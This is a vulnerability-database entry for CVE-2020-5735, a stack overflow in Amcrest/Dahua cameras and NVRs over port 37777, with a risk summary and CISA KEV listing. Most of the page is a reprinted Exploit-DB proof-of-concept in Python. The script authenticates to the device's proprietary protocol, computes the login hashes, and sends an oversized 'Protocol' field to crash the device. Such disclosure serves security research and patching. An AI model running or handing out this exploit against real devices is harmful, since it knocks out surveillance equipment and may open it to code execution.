CVE-2020-5735

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

Amcrest cameras and NVR contain a stack-based buffer overflow vulnerability through port 37777 that allows an unauthenticated, remote attacker to crash the device and possibly execute code.

CISA KEV

Vendor
Amcrest
Product
Cameras and Network Video Recorder (NVR)
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-48304 dos hardware python ยท 5 KB
Jacob Baines ยท 2020-04-08

Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)

python exploit Source: Exploit-DB
# Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)
# Date: 2020-04-07
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Version: Many different versions due to number of Dahua/Amcrest/etc
# devices affected
# Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5
# 4.000.00AC000.0
# CVE : CVE-2020-5735
# Advisory: https://www.tenable.com/security/research/tra-2020-20
# Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash

import argparse
import hashlib
import socket
import struct
import sys
import md5
import re

## DDNS test functionality. Stack overflow via memcpy

def recv_response(sock):
    # minimum size is 32 bytes
    header = sock.recv(32)

    # check we received enough data
    if len(header) != 32:
        print 'Invalid response. Too short'
        return (False, '', '')

    # extract the payload length field
    length_field = header[4:8]
    payload_length = struct.unpack_from('I', length_field)
    payload_length = payload_length[0]

    # uhm... lets be restrictive of accepted lengths
    if payload_length < 0 or payload_length > 4096:
        print 'Invalid response. Bad payload length'
        return (False, header, '')

    if (payload_length == 0):
        return (True, header, '')

    payload = sock.recv(payload_length)
    if len(payload) != payload_length:
        print 'Invalid response. Bad received length'
        return (False, header, payload)

    return (True, header, payload)

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

top_parser = argparse.ArgumentParser(description='lol')
top_parser.add_argument('-i', '--ip', action="store", dest="ip",
required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port",
type=int, help="The port to connect to", default="37777")
top_parser.add_argument('-u', '--username', action="store",
dest="username", help="The user to login as", default="admin")
top_parser.add_argument('--pass', action="store", dest="password",
required=True, help="The password to use")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

# send the old style login request. We'll use blank hashes. This should
# trigger a challenge from new versions of the camera
old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" +
             "\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash
             "\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash
             "\x05\x02\x00\x01\x00\x00\xa1\xaa")
sock.sendall(old_login)
(success, header, challenge) = recv_response(sock)
if success == False or not challenge:
    print 'Failed to receive the challenge'
    print challenge
    sys.exit(0)

# extract the realm and random seed
seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n",
challenge)
if seeds == None:
    print 'Failed to extract realm and random seed.'
    print challenge
    sys.exit(0)

realm = seeds.group(1)
random = seeds.group(2)

# compute the response
realm_hash = md5.new(args.username + ":" + realm + ":" +
args.password).hexdigest().upper()
random_hash = md5.new(args.username + ":" + random + ":" +
realm_hash).hexdigest().upper()
sofia_result = sofia_hash(args.password)
final_hash = md5.new(args.username + ":" + random + ":" +
sofia_result).hexdigest().upper()

challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" +
                  "\x00\x00\x00\x00\x00\x00\x00\x00" +
                  "\x00\x00\x00\x00\x00\x00\x00\x00" +
                  "\x05\x02\x00\x08\x00\x00\xa1\xaa" +
                  args.username + "&&" + random_hash + final_hash)
sock.sendall(challenge_resp)

(success, header, payload) = recv_response(sock)
if success == False or not header:
    print 'Failed to receive the session id'
    sys.exit(0)

session_id_bin = header[16:20]
session_id_int = struct.unpack_from('I', session_id_bin)
if session_id_int[0] == 0:
    print "Log in failed."
    sys.exit(0)

session_id = session_id_int[0]
print "[+] Session ID: " + str(session_id)

# firmware version
command = "Protocol: " + ("a" * 0x300) + "\r\n"
command_length = struct.pack("I", len(command))
firmware = ("\x62\x00\x00\x00" + command_length +
            "\x04\x00\x00\x00\x00\x00\x00\x00" +
            "\x00\x00\x00\x00\x00\x00\x00\x00" +
            "\x00\x00\x00\x00\x00\x00\x00\x00" +
            command)
sock.sendall(firmware)
(success, header, firmware_string) = recv_response(sock)
if success == False and not header:
    print "[!] Probably crashed the server."
else:
    print "[+] Attack failed."

References

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